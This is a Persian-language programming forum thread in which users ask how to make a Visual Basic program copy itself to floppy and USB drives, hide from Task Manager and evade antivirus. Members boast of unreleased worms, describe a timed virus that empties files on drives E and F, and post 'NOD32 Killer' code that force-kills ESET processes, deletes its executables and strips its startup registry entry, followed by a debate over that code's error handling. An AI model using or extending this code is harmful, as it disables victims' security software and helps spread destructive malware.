View Full Version : کمک برای نوشتن یک برنامه - شبیه ویروس
iran2008
شنبه 08 دی 1386, 14:09 عصر
سلام به همه
من یه تایپیک زدم و پاکش کردند و گفتند هر سوال توی یه تایپیک منم میگم چشم :
من چند تا راهنمایی میخوام:
1-
میشه بگید که چطوری میشه برانمه ای نوشت که قابلیت رشد خودکار داشته باشه؟ یعنی مثلا اگه برنامه ای رو اجرا کنیم بطور اتوماتیک چند تا برنامه از خودش توی هر مسیری که براش مشخص کردیم کپی کنه.
یه چیزی مثل تروجان NewFolder.
iran2008
شنبه 08 دی 1386, 14:10 عصر
2-
چطوری میشه یه برنامه ای رو که ساختیم در حالت اجرا از دید Task Manager مخفیش کرد؟
iran2008
شنبه 08 دی 1386, 14:12 عصر
3-
چطوری میشه برنامه ای رو که ساختیم بطور کامل از دید کاربر مخفیش کنیم که حتی با گذاشتن گزینه Show Hiden در همون منوی تولز نمایان نشه.؟
خواهش میکنم کسانی که واردند کمکم کنند و این رو هم بدونند که من قصد نوشتن ویروس یا تروجان یا هر فایل مخربی رو ندارم . منتها دارم یه برنامه توپ طراحی میکنم که فکر کنم بدرد خیلی از کارها میخوره.
خواهش میکنم جواب بدید و منو کمک کنید.
مرسی
iran2008
شنبه 08 دی 1386, 14:15 عصر
منظورم از رشد خودکار یعنی :
اینکه بطور خودکار برنامه در درایوها کپی شوند و قابلیت تکثیر داشته باشند.
منظور از قابلیت تکثیر یعنی :
مثلا اگه یه فلاپی به کامپیوتر بذاریم برنامه ما بطور اتوماتیک به فلاپی هم منتقل بشه.
مبین رنجبر
شنبه 08 دی 1386, 16:56 عصر
توی سایت سرچ کنید حتما به نتیجه میرسید .. تاپیک های مشابهی در این ضمینه هست
ƒxmahdi
شنبه 08 دی 1386, 18:33 عصر
برای کپی شدن آن از دستور زیر استفاده کن
FileCopy App.Path & "\ali.exe", "c:\x1.exe"
ali.exe نام برنامه یا فایل برای کپی شدن است
c:\x1.exe مسر و نام برنامه با پسوند است
اگه می خواهید بدانید که چه جوری این کار را کنید بهتره در سایت جستجو کنید
موفق باشید
SeyedMoosavi
شنبه 08 دی 1386, 20:25 عصر
این کار به جز ساخت ویروس چی می تونه باشه که تو فلاپی ها هم می خوای بره:متفکر:
ali_habibi1384
شنبه 08 دی 1386, 21:12 عصر
اینم حذف فایل اجرایی از لیست پروسسها
iran2008
شنبه 08 دی 1386, 22:12 عصر
والا دوستان چی بگم شاید بنظر شما این برنامه ای که من میخوام بسازم ویروس باشه.
ولی اگه ساخته شد براتون میدم همراه با مشخصلتش که بدونید من چی ساختم و دهن همه آب بشه.
همه چی به موقعش .... الان نباید لو بره ...
شرمنده و ممنون از همه که کمکم می کنن.
DoctorJay
شنبه 08 دی 1386, 22:33 عصر
جسارتا هر آنچه شما می خواین رو من توی یه WORM ساختم , با این تفاوت که توی استارت آپ هم میشینه و اگه فلاپی یا USB به کامپیوتر متصل بشه بصورت اتوماتیک خودشو کپی میکنه
اینو سه چهار ماه پیش ساختم , ولی منتشرش نکردم چون هنوز دنبال راه حلی هستم که از دست NOD32 و Kaspersky فرار کنه این Worm عزیزم ....
خیلی میبخشید که سورس نمی ذارم ( واقعا ببخشید )
iran2008
یک شنبه 09 دی 1386, 18:36 عصر
خوب دوستان عزیز
یه سوال دارم - نمیدونم اینجا جاشه یا نه :
چطوری میشه تشخیص داد که برنامه اگه بخواد تو فلاپی و درایوهای موجود بر یک هارد کپی بشه - خود بخود تمام درایو ها رو شناسایی کنه ؟
مثلا ما که نمیدونم فلان کامپیوتر چند تا درایو داره و یا پورت USB آن کدام درایو هست که فایل ما درون آن کپی شود.
DoctorJay
یک شنبه 09 دی 1386, 19:42 عصر
2 راه داری
استفاده از API که لیست درایوهای روی سیستم رو بهت میده .
Public Declare Function GetLogicalDrives Lib "kernel32.dll" () As Long
توضیح این تابع :
ین تابع لیستی از درایو های My Computer را بر می گرداند.
اگر مقدار برگشتی تابع را با شماره درایو And کنید و نتیجه بگیرید؛ آنگاه درایو مورد نظر موجود است. برای مثال اگر جواب GetLogicalDrives Or 1 صفر نباشد آنگاه درایو A موجود است یا اگر جواب GetLogicalDrives Or 3 صفر نباشد آنگاه درایو C موجود است
راه دومم اینکه شما برای همه ی درایوها دستور کپی رو بنویسی
که البته خطا میده اگه اون درایو نباشه
ولی یه راه حل ساده داره
اونم اینکه در خط قبل از دستور کپی این دستور رو بنویسی :
On Error Resume Next
این یه راه خیلی مبتدیانست ولی کاملا جواب میده , من که از کارکردش راضی بودم .
iran2008
یک شنبه 09 دی 1386, 21:47 عصر
لطفا منو با تابع GetLogicalDrives و نحوه کارش بیشتر آشنا کنید.
اگه میشه برای همون راه حل اول : GetLogicalDrives - یه سورس بذارید.
مرسی.
HjSoft
دوشنبه 10 دی 1386, 15:06 عصر
بله منم لازم دارم
مبین رنجبر
دوشنبه 10 دی 1386, 18:00 عصر
من توصیه میکنم به تاپیک "'گرفتن آدرس درایو USB" مراجعه کنید ... اونجا من یه برنامه نوشتم در همین رابطه به نام USB-SPY ... شاید بتونه کمکتون کنه
M8SPY_OK
سه شنبه 11 دی 1386, 06:52 صبح
برای بار صدم ! :لبخند:
reza_optical
چهارشنبه 12 دی 1386, 23:52 عصر
من حدود 4 ماه پیش یه ویروس تاپ نوشتم خیلی هم ویروسه:شیطان: ولی فقط به یه نفر دادم
اگر خواستین سورسشو میدم
bahman_bisavad
پنج شنبه 13 دی 1386, 10:11 صبح
این سوال رو برای دهمین باره که دارم می بینم!
HjSoft
پنج شنبه 13 دی 1386, 14:24 عصر
یکی کمک کنه
DoctorJay
پنج شنبه 13 دی 1386, 19:38 عصر
برای بار صدم ! :لبخند:
جناب M8SPY_OK میشه خواهش کنم توی یک خط خلاصه ی کار سورسی که گذاشتین رو بهم بگین ؟؟
تشکر
M8SPY_OK
شنبه 15 دی 1386, 14:32 عصر
OK
عملکرد این ویروس رو به طور خلاصه براتون بیان می کنم :
ویروس بعد از اجرا شدن روی سیستم قربانی در یک ساعت خاص ((ساعت 9)) فعال شده و یه لیست از تمامی فایل های موجود در 2 درایو E , F قربانی رو تهیه می کننه و شروع می کنه به Rotten کردن فایل ها .
به این معنی که فایل رو باز می کنه و هرچی توش هست رو خالی می کنه . در واقع فایل سره جاشه ولی حجمش صفره . یه جورایی فایل رو فاسد می کنه . (بی اثر) .
کاربر بیچاره زمانی متوجه وجود ویروس در رایانه اش میشه که میبینه تمامی فایل هاش سر جاشونن ولی هیچ حجمی ندارن و فاسد شدن .
بعد از اتمام عملیات ویروس به صورت کامل وقتی مثلاً از درایو E: تون Peroperties بگیرید . میبینید فضای پر شده برابر صفره یا یه چیزی حدود چند کیلوبایت . یعنی فقط یک مشت فایل داغون توی درایوتون هست .
DoctorJay
شنبه 15 دی 1386, 16:13 عصر
آقا ما که سورسشو Run کردیم !!!!!!
ولی ظاهرا فایل SMSS رو نتونسته کپی کنه تو درایو سیستمی ! چون سورسشو اجرا کردم و عملا دستور filecopy عمل نمی کنه !!
شانس آوردمااا !!
M8SPY_OK
یک شنبه 16 دی 1386, 06:12 صبح
سروس رو اجرا کردی ؟؟؟؟؟؟ !!!!!!!!!!!!!!!!!!!!
ببین مطمئن باش ویروس خودشو کپی کرده . مخفی / سیستمیه . بدو پاکش کن تا یه بلایی سرت فایل هات نیاورده . به محض ورود به ویندوز حواست باشه ساعتت اگه 9 بود تغییر بدی .
Programmer.G
یک شنبه 16 دی 1386, 11:16 صبح
سلام
به چه روش هایی می توان یک فایل آلوده را که توسط آنتی ویروس ها قابل شناسایی است، غیر قابل شناسایی کرد؟
HjSoft
یک شنبه 16 دی 1386, 14:14 عصر
منم اجرا کردم چیزی نشد !!!!!!!!!!
HjSoft
یک شنبه 16 دی 1386, 14:38 عصر
خالی بندیه !!!!!!!!!!!!
DoctorJay
یک شنبه 16 دی 1386, 17:14 عصر
سروس رو اجرا کردی ؟؟؟؟؟؟ !!!!!!!!!!!!!!!!!!!!
ببین مطمئن باش ویروس خودشو کپی کرده . مخفی / سیستمیه . بدو پاکش کن تا یه بلایی سرت فایل هات نیاورده . به محض ورود به ویندوز حواست باشه ساعتت اگه 9 بود تغییر بدی .
جناب M8SPY_OK , وقتی برنامرو از سورس اون Run میکنیم چون برنامه با استفاده از VB داره اجرا میشه بنابراین فایل eXe ای که عملیات کپی و مشابه اون رووش انجام بشه وجود نداره .
استارت آپ این برنامه جالب بود, چون توو لیست msconfig نمیره , و من توی Worm هایی که تا الان ساختم به این نکته توجه نکرده بودم , ( از این به بعد ایشالا )
رفتم و SMSS که برنامهه به استارت آپِ LogOn اضاف کرده بود رو برداشتم و فایل هم توی مسیر C:\windows\SMSS.EXE وجود نداشت . با SuperHidden آشنام . نه ! نبودش , به همون دلیلی که گفتم .
الان دنبال ساخت Worm ماکرو هستم . اگه کسی اطلاعی داره راهنمایی کنه.
و یه درخواست بزرگ دارم !! چجوری NOD32 رو خراب کنم ؟؟؟؟؟
یه راه پیدا کردم کهههههههههههه ویروسام شناسایی نشن .
ویروسم که اجرا شد, بعد از اینکه خیلی از کاراشو کرد بعد NOD می فهمه که گول خورده.
می خوام با خراب کردنش همینو هم نفهمه !!
HjSoft
یک شنبه 16 دی 1386, 17:25 عصر
بچه ها میتونیم یک ویروس با هم دیگه بنویسیم موافقین ؟؟؟؟؟؟؟
M8SPY_OK
یک شنبه 16 دی 1386, 21:07 عصر
خالی بندیه !!!!!!!!!!!!
همون طور که دوستمون گفتند به دلیل اینکه فایل EXE ای از ویروس گرفته نشده واسه همین چیزی از روی ویروس کپی نمیشه . چون اصلاً ما هنوز فایل اصلی رو ایجاد نکردیم .
در ضمن از این به بعد بدون داری در مورد کی حرف می زنی ! چند بار تا حالا چیزی نگفتم بار بعدی بد میبینی !
M8SPY_OK
یک شنبه 16 دی 1386, 21:08 عصر
بچه ها میتونیم یک ویروس با هم دیگه بنویسیم موافقین ؟؟؟؟؟؟؟
لطفاً تو کار بزرگتا دخالت نکنید .
M8SPY_OK
یک شنبه 16 دی 1386, 21:17 عصر
سلام .
یادمه قبلاً که توی سایت Takclick فعالیت داشتم این برنامه رو نوشتم .
فقط یه روزه کامل رو به NOD32 گیر دادم تا تونستم روش منحل کردن سیستم اون رو بفهمم .
این هم NOD32 Killer -
(دیگه توضیحی نمی دم - خودتون روش فکر کنید)
اگه نهایتاً توضیح خواستید بگید واستون الگوریتم برنامه رو شرح می دم ...
majjjj
دوشنبه 17 دی 1386, 12:05 عصر
سلام .
یادمه قبلاً که توی سایت Takclick فعالیت داشتم این برنامه رو نوشتم .
فقط یه روزه کامل رو به NOD32 گیر دادم تا تونستم روش منحل کردن سیستم اون رو بفهمم .
این هم NOD32 Killer -
(دیگه توضیحی نمی دم - خودتون روش فکر کنید)
اگه نهایتاً توضیح خواستید بگید واستون الگوریتم برنامه رو شرح می دم ...
سلام اقا مهران شما ویروس نویسی یا انتی نویس
M8SPY_OK
دوشنبه 17 دی 1386, 12:47 عصر
:لبخندساده:
ویروس نویسی زمینه ای هست واسه آنتی ویروس نویسی .
در ضمن این مهم نیست که یک نفر ویروس نویسه یا آنتی ویروس نویس . مهم اینه که بتونی توی هر کدوم از این زمینه ها پیشرفت داشته باشی و فقط بتونی بنویسی !
sinpin
دوشنبه 17 دی 1386, 14:08 عصر
سلام .
یادمه قبلاً که توی سایت Takclick فعالیت داشتم این برنامه رو نوشتم .
فقط یه روزه کامل رو به NOD32 گیر دادم تا تونستم روش منحل کردن سیستم اون رو بفهمم .
این هم NOD32 Killer -
(دیگه توضیحی نمی دم - خودتون روش فکر کنید)
اگه نهایتاً توضیح خواستید بگید واستون الگوریتم برنامه رو شرح می دم ...
:لبخندساده:
ویروس نویسی زمینه ای هست واسه آنتی ویروس نویسی .
در ضمن این مهم نیست که یک نفر ویروس نویسه یا آنتی ویروس نویس . مهم اینه که بتونی توی هر کدوم از این زمینه ها پیشرفت داشته باشی و فقط بتونی بنویسی !
از روی کنجکاوی - و به امید دیدن حداقل شاید یک ترفند قابل توجه - برنامه رو دانلود کردم
من رو ببخشید اما حداقل جهت اطلاع سایر دوستان باید بگم که :
برنامه ایشون هیچ الگوریتم خاصی نداشت که ایشون بخوان الگوریتم رو توضیح بدن یا خیر
صرف اینکه فقط اومدند و پروسه ی در حال اجرای اون رو kill و بعد هم فایل اجراییش رو خیلی ناشیانه حذف کردند
(حداقل کاش برای حذف فایل اجرایی، مسیر نصب اصلی برنامه رو از رجیستری میخوندن و نه اینکه از on error resume next بعنوان یک trick استفاده کنند! ...)
Private Sub Timer4_Timer()
On Error Resume Next
Shell "taskkill -f -t -im nod32krn.exe", vbHide
Kill "C:\Program Files\ESET\NOD32KRN.EXE"
Kill "D:\Program Files\ESET\NOD32KRN.EXE"
Kill "E:\Program Files\ESET\NOD32KRN.EXE"
Kill "C:\Program Files\ESET\nod32kui.exe"
Kill "D:\Program Files\ESET\nod32kui.exe"
Kill "E:\Program Files\ESET\nod32kui.exe"
Timer5.Enabled = True
Timer4.Enabled = False
pr.Width = pr.Width + 4515 / 6
End Sub
Private Sub Timer6_Timer()
Timer6.Enabled = False
pr.Width = pr.Width + 4515 / 6
For i = 1 To 999998
Next i
MsgBox "NOD32 KILLED Completed successfully", vbInformation, "N32K"
Command1.Enabled = True
End Subو بعد هم اون رو از توی startup برداشتید :
SetStringValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run", "nod32kui", "NOD32 KILLED BY 'Mehran Rasa'")...
M8SPY_OK
دوشنبه 17 دی 1386, 19:31 عصر
نه خیر مثله اینکه شما کد برنامه رو درست مطالعه نکردید .
اصلاً بذار اینو به شما بگم : شما که ادعا داری برنامه هیچ الگوریتمی نداره و تنها با بستن یک پروسه تمامی کار ها انجام میشه خودت برنامه ای بنویس که فقط با دستور Taskkill آنتی ویروس NOD32 غیر فعال بشه !!!
شما به کد دقت نکردید . علاوه بر استفاده از دستور Taskkill ، یکسری تغییرات هم باید توی رجیستری انجام داده بشه . یعنی دستکاری همون قسمت هایی که وقتی شما فایل اصلی آنتی ویروس NOD32 رو از پنجره Task manager می بندید دوباره فایل اجاره میشه !
یا به عبارت دیگه غیر فعال سازی قابلیت Services بودن فایل مربوط به NOD32
در مورد پاک کردن ناشیانه هم باید بگم :
این کد فقط یه مثاله - اون هم مثالی که به ساده ترین شیوه نوشته شده تا آماتور ترین برنامه نویس هم بتونه از شیوه عملیات برنامه سر در بیاره .
شما اگه ناراحتی می تونی کد رو به سلیقه ی خودت تغییر بدی .
اصلاً برنامه Open Source یعنی همین !
DoctorJay
سه شنبه 18 دی 1386, 07:59 صبح
ببخشید که میپرم وسط .
من طرف هیچکس نیستم و نظرات هر کدوم از یه جنبه درست و قابل ستایش هستن .
ولی من میگم مهم اینکه این برنامه به هر شکل که نوشته شده (حرفه ای - آماتور )
بتونه خواسته هارو برآورده کنه و کاری که ازش انتظار میره رو به انجام برسونه .
حالا اگه بحث صرفا راجب چگونگی برنامه نویسیه اون یه چیزه دیگست .
ولی به نظر من ایرادی به این برنامه نیست ,
( همیشه ساده ترین راهی که شما را به موفقیت می رساند بپیمایید )
majidrezaei2007
جمعه 21 دی 1386, 16:12 عصر
سلام دوست من . شما می تونی به راحتی با استفاده از یک dir و یک filelistbox مشکلت رو حل کنی . من هم به همین تازگی یک ویروس درست کردم که رشد می کنه . اما نه با کلیک روی پوشه های . بلکه هر 10 ثانیه . گاه می خوای برات بزارم .
sinpin
جمعه 21 دی 1386, 17:32 عصر
همیشه ساده ترین راهی که شما را به موفقیت می رساند بپیمایید
بعید میدونم منظور شما از ساده ترین راه - جهت رسیدن به موفقیت! - استفاده ی بیمورد از دستور On Error Resume Next باشه.
یک مثال ساده در زندگی روزمره:
"آقا دزد اومده و داره خونت رو خالی میکنه"
جواب : "بیخیال بابا، خدا بزرگه، بالاخره زندگی یه جوری میگذره !" (یا همون : On Error Resume Next)
این جواب صحیح نیست و شونه خالی کردن از زیر بار مسئولیت است.
مبین رنجبر
جمعه 21 دی 1386, 18:29 عصر
من با نظر آقا سینا کاملا موافقم
DoctorJay
جمعه 21 دی 1386, 18:36 عصر
خوب یه جورایی موافقم . ولی وقتی برنامه داره جواب میده چرا بهش ایراد بگیرم !!!!
من همیشه هدفم رو میبینم . . .
M8SPY_OK
جمعه 21 دی 1386, 20:46 عصر
بعید میدونم منظور شما از ساده ترین راه - جهت رسیدن به موفقیت! - استفاده ی بیمورد از دستور On Error Resume Next باشه.
یک مثال ساده در زندگی روزمره:
"آقا دزد اومده و داره خونت رو خالی میکنه"
جواب : "بیخیال بابا، خدا بزرگه، بالاخره زندگی یه جوری میگذره !" (یا همون : On Error Resume Next)
این جواب صحیح نیست و شونه خالی کردن از زیر بار مسئولیت است.
کی گفته استفاده از On error Resume Next بی مورده ؟ خیلی هم بدرد می خوره
چرا ؟ ...
حالا اومدیم آنتی ویروس NOD32 روی رایانه کاربر نصب نبود و اصلاً همچین مسیری :
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\N OD32krn
توی رجیستری وجود نداشت ، اونوقت تکلیف چیه ؟؟ برنامه خطا میده یا نه ؟؟؟؟؟؟
یا اگه فایلی در مسیر :
Kill "C:\Program Files\ESET\NOD32KRN.EXE"
وجود نداشت چی ؟؟؟ برنامه خطا میده یا نه ؟؟؟؟ اونهم چه خطایی !! Run Timer Error . که اصلاً با این خطا برنامه زیر سوال می بره !!!!!!!
پس حالا پی بردید که استفاده از On ErrorResume Next همچین هم بی دلیل و نشون دهنده ضعف برنامه نویسی نیست !
حالا جدا از جنبه ی منطقی که توضیح دادم واستون :
چه اشکالی داره پایه ها رو محکم تر کنیم ؟
در ضمن اصلاً مناسب نیست که تویه یکی از برنامه هایی که نوشتی خطای Run timer error صورت بگیره .
حالا شما به من بگید برنامه بدون هیچ خطایی عملیاتش رو ادامه بده بهتره یا یه Errore خیلی زشت واسه برنامه رخ بده ؟؟؟
مثالتون هم خیلی بی ربط بود .
DoctorJay
جمعه 21 دی 1386, 20:55 عصر
ولی جناب Sinpin فرمودند که باید کنترل شده تر باشه . خوب اینم حرف بدی نیست .
خوب وقتی مسیر فایلهایی که باید حذف شن معلوم نیست چیکار باید بکنیم ؟؟
اگه شما بودیو یه ویژوال بیسیک که دستور On Error رو نداشت , شما برنامرو چجوری
مینوشتین . شما بفرمایید ما هم همون کار رو میکنیم .
نه که راهی نباشه , ولی این ساده ترینشه ...
و حتما میدونید دیگه :
( همیشه ساده ترین راهی که شما را به موفقیت می رساند بپیمایید )
sinpin
جمعه 21 دی 1386, 20:57 عصر
کی گفته استفاده از On error Resume Next بی مورده ؟ خیلی هم بدرد می خوره چرا ؟ ...
اگه این دستور خوب نبود آفریده نمیشد !
اما نه اینکه با تکیه به اون منطق کدنویسی رو زیر سئوال ببریم.
حالا اومدیم آنتی ویروس NOD32 روی رایانه کاربر نصب نبود و اصلاً همچین مسیری :
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\N OD32krn
توی رجیستری وجود نداشت ، اونوقت تکلیف چیه ؟؟ برنامه خطا میده یا نه ؟؟؟؟؟؟
یا اگه فایلی در مسیر :
Kill "C:\Program Files\ESET\NOD32KRN.EXE"
وجود نداشت چی ؟؟؟ برنامه خطا میده یا نه ؟؟؟؟ اونهم چه خطایی !! Run Timer Error . که اصلاً با این خطا برنامه زیر سوال می بره !!!!!!!
تا اونجا که یادم میاد توی VB هم دستوری بود برای چک کردن شرط ها بنام "IF" که به راحتی میشه کدی نوشت و فهمید آیا مقداری توی رجیستری یا فایلی با اون مشخصات وجود داره یا خیر
چه اشکالی داره پایه ها رو محکم تر کنیم ؟
آخه ایکاش این راهش بود؛
آیا میدونید همین دستور به ظاهر ساده، توی بعضی جاها چطور کنترل رو از دست کدنویس خارج میکنه ؟
در ضمن اصلاً مناسب نیست که تویه یکی از برنامه هایی که نوشتی خطای Run timer error صورت بگیره . حالا شما به من بگید برنامه بدون هیچ خطایی عملیاتش رو ادامه بده بهتره یا یه Errore خیلی زشت واسه برنامه رخ بده ؟؟؟
رجوع به دو پاسخ قبلی
مثالتون هم خیلی بی ربط بود .
حق با شماست
سخن پایانی :
امیدوارم از من دلخور نشده باشید دوست عزیز
من قبول دارم یه جاهایی این دستور خیلی بدرد میخوره : مثلا شما از کاربر میخواین که یه فایل عکس رو به برنامه شما وارد کنه. خب طرف هم یک فایل با پسوند jpg ارسال میکنه اما واقعا یک فایل عکس نیست. شما هم با یک دستور if چک میکنید و میبینید که آره فایل وجود داره اما وقتی میخواین اون رو در یک پیکچرباکس نمایش بدید به خطا برمیخورید. خوب اینجا استفاده از این دستور شاید اجتناب ناپذیر باشه. اما نه اینکه واسه راحتی هرجایی از اون استفاده کنیم.
DoctorJay
جمعه 21 دی 1386, 21:02 عصر
جناب Sinpin کاش یه خورده منطقی تر پاسخ میدادین !!
نه با کنایه !!
M8SPY_OK
جمعه 21 دی 1386, 21:02 عصر
با تکه تکه کردن افکار و نظرات من خوب تونستید از پسشون بر بیاید !
sinpin
جمعه 21 دی 1386, 21:07 عصر
خوب وقتی مسیر فایلهایی که باید حذف شن معلوم نیست چیکار باید بکنیم ؟؟
:لبخندساده:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\App Paths
به اینجا مراجعه کنید دوست قدیمی:
تشخیص نرم افزارهای نصب شده روی سیستم (http://barnamenevis.org/forum/showthread.php?t=90251)
اگه شما بودیو یه ویژوال بیسیک که دستور On Error رو نداشت , شما برنامرو چجوری مینوشتین . شما بفرمایید ما هم همون کار رو میکنیم .
نه که راهی نباشه , ولی این ساده ترینشه ...
و حتما میدونید دیگه :
( همیشه ساده ترین راهی که شما را به موفقیت می رساند بپیمایید )
این اصل سادگی همیشه هم جواب نمیده. موافق نیستید ؟
sinpin
جمعه 21 دی 1386, 21:11 عصر
جناب Sinpin کاش یه خورده منطقی تر پاسخ میدادین !!
نه با کنایه !!باور کنید چنین قصدی نداشتم.
دوستان اگه باعث ناراحتی شدم خواهش میکنم من رو ببخشید.
اما فکر میکنم این بحث یه جورایی - و به دلایلی - لازم بود انجام بشه.
با تکه تکه کردن افکار و نظرات من خوب تونستید از پسشون بر بیاید !
توی برنامه نویسی یه اصلی هست (Function Decomposition) که میگه :
هر موقع انجام عملی توسط یه فانکشن بظاهر مشکل بود اون رو به فانکشنهای کوچیکتری تقسیم کن و بعد هر تیکه رو به راحتی انجام بده !
M8SPY_OK
جمعه 21 دی 1386, 21:14 عصر
آره درسته ...
ولی در مورد روابط با انسان ها و محترم شمردن نظرات و افکارشون چنین قانونی جوابگو نیست و ممکنه با Run Time Error مواجه بشید !
دیگه بهتره این بحث رو تموم کنیم ...
DoctorJay
شنبه 22 دی 1386, 11:26 صبح
این اصل سادگی همیشه هم جواب نمیده. موافق نیستید ؟
توجه داشته باشید که اگه راه ساده ای وجود داشته باشه که به موفقیت تضمینی برسه
دیگه این حرف شما معنی ای نداره . چون به موفقیت رسیده .
اگه قرار بود به جواب نرسه که نمیشد رسیدن به موفقیت که .
بهرحال مهم نیست .
منم با ختم شدن این بحث ها موافقم :لبخندساده:
مبین رنجبر
شنبه 22 دی 1386, 11:35 صبح
آقا اگر بحث تموم شد و مشکلتون برطرف شد روی گذینه حل شده کلیک کنید
DoctorJay
شنبه 22 دی 1386, 11:43 صبح
آقا اگر بحث تموم شد و مشکلتون برطرف شد روی گذینه حل شده کلیک کنید
ما که دکمه ی حل شده ای ندیدیم !!
ایجاد کننده ی تاپیک باید حل شده اعلام کنه فدات شم !!
بحثهای ما حل شد ... مشکل اوشون رو نمی دونم !
مبین رنجبر
شنبه 22 دی 1386, 12:27 عصر
خوب DoctorJay جان منم از این جنابی که این تاپیک رو ایجاد کردم خواستم این تاپیک رو حل شده اعلام کنند نه از شما ... من که فکر می کنم ایشون به جواب کامل رسیدن ...
HjSoft
شنبه 22 دی 1386, 13:18 عصر
حل شده اعلام کنید لطفا من هر دفعه میام فکر میکنم جدیده میام میبینم همون قدیمیه
DoctorJay
شنبه 22 دی 1386, 14:55 عصر
دقیقا ....... هر سری ما فریب می خوریم میایم یه سری میزنیم میبینیم بحثهای
متفرقه است و ربطی به عنوان تاپیک نداره . خوب حل شده , میایم راجبه چیزای
دیگه می گپیم . آقا قربون دستت حل شده اعلام کن دیگه ...
مبین رنجبر
شنبه 22 دی 1386, 16:41 عصر
این دوستمون که این تاپیک رو زده خیلی وقته پیداش نیست .. یعد از مطرح کردن سوال دیگه جوابی ازشون ندیدیم
Mhosseini
چهارشنبه 05 تیر 1387, 16:16 عصر
سلام به دوستان
من از تابع killtimer استفاده كردم تا timer برنامه ديگهاي رو از كار بندازه اما اينكار انجام نميشه . اگه كسي دليلشو مي دونه لطف كنه بگه.
حسن تیکه
یک شنبه 20 مرداد 1387, 02:30 صبح
جسارتا هر آنچه شما می خواین رو من توی یه WORM ساختم , با این تفاوت که توی استارت آپ هم میشینه و اگه فلاپی یا USB به کامپیوتر متصل بشه بصورت اتوماتیک خودشو کپی میکنه
اینو سه چهار ماه پیش ساختم , ولی منتشرش نکردم چون هنوز دنبال راه حلی هستم که از دست NOD32 و Kaspersky فرار کنه این Worm عزیزم ....
خیلی میبخشید که سورس نمی ذارم ( واقعا ببخشید )
من مشکل شما رو حل کردم دوست عزیز( NOD32 & Kaspersky )
.:KeihanCPU:.
یک شنبه 20 مرداد 1387, 10:54 صبح
شما بدون هیچ اطلاعاتی میخواین این کارو کنید.
همشو که بچه ها گفتن
vBulletin® v4.2.5, Copyright ©2000-1404, Jelsoft Enterprises Ltd.